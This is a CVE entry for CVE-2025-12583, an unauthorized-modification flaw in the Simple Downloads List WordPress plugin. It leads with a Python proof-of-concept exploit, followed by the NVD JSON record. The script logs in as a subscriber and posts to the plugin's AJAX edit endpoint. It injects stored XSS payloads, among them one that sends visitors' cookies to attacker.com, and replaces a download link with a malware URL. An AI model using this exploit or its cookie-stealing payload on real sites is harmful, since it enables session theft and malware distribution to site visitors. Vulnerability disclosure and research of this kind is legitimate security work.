CVE-2025-12583

import requests import sys # CVE-2025-12583 PoC - Simple Downloads List <= 1.4.3 Unauthorized Modification # Target: WordPress site with Simple Downloads List plugin target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress.local' # Authenticated session with Subscriber-level user session = requests.Session() # Login as subscriber user login_url = f'{target}/wp-login.php' login_data = { 'log': 'subscriber_user', 'pwd': 'subscriber_password', 'wp-submit': 'Log In' } # Get nonce and login resp = session.get(login_url) login_data['_wpnonce'] = resp.text.split('id="_wpnonce"')[0].split('value="')[-1].split('"')[0] session.post(login_url, data=login_data) # Exploit: Modify download settings and inject XSS via AJAX endpoint ajax_url = f'{target}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'neofix_sdl_edit', 'sdl_title': '<script>alert("XSS")</script>', 'sdl_url': 'http://malicious-site.com/malware.exe', 'sdl_description': '<img src=x onerror=document.location="http://attacker.com/steal?c="+document.cookie>', 'sdl_id': '1' } response = session.post(ajax_url, data=exploit_data) print(f'Status: {response.status_code}') print(f'Response: {response.text}') print('\nXSS payload injected. Visit any page displaying the download list.')

{"cve": {"id": "CVE-2025-12583", "sourceIdentifier": "[email protected]", "published": "2025-11-08T03:15:36.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Downloads List plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_neofix_sdl_edit' AJAX endpoint along with many others in all versions up to, and including, 1.4.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to alter many of the plugin's settings/downloads and inject malicious web scripts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-downloads-list/tags/1.5.0/admin/adminpanel_v3.php?rev=3388438", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/simple-downloads-list/tags/1.4.3&new_path=/simple-downloads-list/tags/1.5.0&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cbee3d3b-383b-48f5-be63-61cd692a18a0?source=cve", "source": "[email protected]"}]}}